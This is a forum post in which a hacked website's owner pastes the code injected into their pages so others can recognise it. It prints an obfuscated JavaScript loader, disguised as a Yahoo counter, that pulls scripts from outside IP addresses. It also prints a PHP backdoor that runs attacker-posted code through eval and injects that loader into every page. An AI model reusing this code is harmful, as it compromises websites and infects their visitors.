I had the same Blocked message popping up. It started after my website has been hacked. It is due to hacked html files or php files where the hacker inserted the following codes when you view the page source:
<script language=javascript><!-- Yahoo! Counter starts
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('@/|%2F%3C|%64%69%76&%20$%73$%74%79@%6C@e$%3D%64%69%73%70%6C&%61y$%3A~n#%6F~n~e$%3E\n!%64$%6F%63&%75`me%6E%74|.@%77~r#%69`t`%65(~"#%3C#/t!%65xt~a%72`%65@%61$%3E%22%29$%3B%76%61%72`%20%69`%2C_%2C%61&%3D[`"!7%38#%2E&110~%2E$%31`%375!%2E2|1#"@%2C#%22$%31%39%35%2E%32~%34.~7%36&%2E!2|5%31"|%5D~;!_@=1`;i%66$%28%64%6F|c&%75m|e%6Et#.c#o|%6F%6Bie`.%6D|a%74c!h~%28$%2F&%5C@b@h%67|%66t|%3D~%31|/%29`%3D%3D`%6E!%75~%6C#l)%66&o~%72|(@i%3D0%3B%69%3C@2|%3B%69&%2B%2B@)|%64$%6F%63&%75%6De%6E$%74%2E&%77ri#%74%65!(#"@%3C%73%63%72!i!p$%74$%3E%69@f$%28%5F%29%64$%6F%63$%75%6D%65%6E#t%2E%77%72&i!te`(|%5C"#%3Cs#c@r`i$%70%74!%20|i&%64=%5F|%22!+i%2B@"%5F$%20%73!%72`c=/%2F$%22@+#a%5Bi]%2B&"%2F@%63%70%2F|?"%2B%6E|%61%76i%67a@%74or%2E&a%70p~%4E&%61m|e.!c`%68%61&%72`%41#t|%28$%30`%29!+"`%3E|%3C~%5C%5C/s%63#r%69&%70t%3E%5C")%3C#%5C/!%73cr#ip~t%3E%22%29;\n/%2F&%3C|%2Fd#i%76%3E').replace(/\||@|\$|~|\!|#|\&|`/g,""));var yahoo_counter=1;
<!-- counter end --></script>
OR FOR PHP
<?php if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5cGVvZigxKSlldmFsKHVuZXNjYXBlKCdAL3wlMkYlM0N8JTY0JTY5JTc2JiUyMCQlNzMkJTc0JTc5QCU2Q0BlJCUzRCU2NCU2OSU3MyU3MCU2QyYlNjF5JCUzQX5uIyU2Rn5ufmUkJTNFXG4hJTY0JCU2RiU2MyYlNzVgbWUlNkUlNzR8LkAlNzd+ciMlNjlgdGAlNjUofiIjJTNDIy90ISU2NXh0fmElNzJgJTY1QCU2MSQlM0UlMjIlMjkkJTNCJTc2JTYxJTcyYCUyMCU2OWAlMkNfJTJDJTYxJiUzRFtgIiE3JTM4IyUyRSYxMTB+JTJFJCUzMWAlMzc1ISUyRTJ8MSMiQCUyQyMlMjIkJTMxJTM5JTM1JTJFJTMyfiUzNC5+NyUzNiYlMkUhMnw1JTMxInwlNUR+OyFfQD0xYDtpJTY2JCUyOCU2NCU2RnxjJiU3NW18ZSU2RXQjLmMjb3wlNkYlNkJpZWAuJTZEfGElNzRjIWh+JTI4JCUyRiYlNUNAYkBoJTY3fCU2NnR8JTNEfiUzMXwvJTI5YCUzRCUzRGAlNkUhJTc1fiU2QyNsKSU2NiZvfiU3MnwoQGklM0QwJTNCJTY5JTNDQDJ8JTNCJTY5JiUyQiUyQkApfCU2NCQlNkYlNjMmJTc1JTZEZSU2RSQlNzQlMkUmJTc3cmkjJTc0JTY1ISgjIkAlM0MlNzMlNjMlNzIhaSFwJCU3NCQlM0UlNjlAZiQlMjglNUYlMjklNjQkJTZGJTYzJCU3NSU2RCU2NSU2RSN0JTJFJTc3JTcyJmkhdGVgKHwlNUMiIyUzQ3MjY0ByYGkkJTcwJTc0ISUyMHxpJiU2ND0lNUZ8JTIyIStpJTJCQCIlNUYkJTIwJTczISU3MmBjPS8lMkYkJTIyQCsjYSU1QmldJTJCJiIlMkZAJTYzJTcwJTJGfD8iJTJCJTZFfCU2MSU3NmklNjdhQCU3NG9yJTJFJmElNzBwfiU0RSYlNjFtfGUuIWNgJTY4JTYxJiU3MmAlNDEjdHwlMjgkJTMwYCUyOSErImAlM0V8JTNDfiU1QyU1Qy9zJTYzI3IlNjkmJTcwdCUzRSU1QyIpJTNDIyU1Qy8hJTczY3IjaXB+dCUzRSUyMiUyOTtcbi8lMkYmJTNDfCUyRmQjaSU3NiUzRScpLnJlcGxhY2UoL1x8fEB8XCR8fnxcIXwjfFwmfGAvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY3JpcHQ+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'\"][^\s\'\"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw=='),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(\s*</body)#mi',str_replace('\$','\\\$',TMP_XHGFJOKL).'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>
I am still in the process of cleaning these unwanted codes on my web files.
If any still encounters the same problem, try checking the page source of the website you are currently browsing and see if there are suspect codes in it.
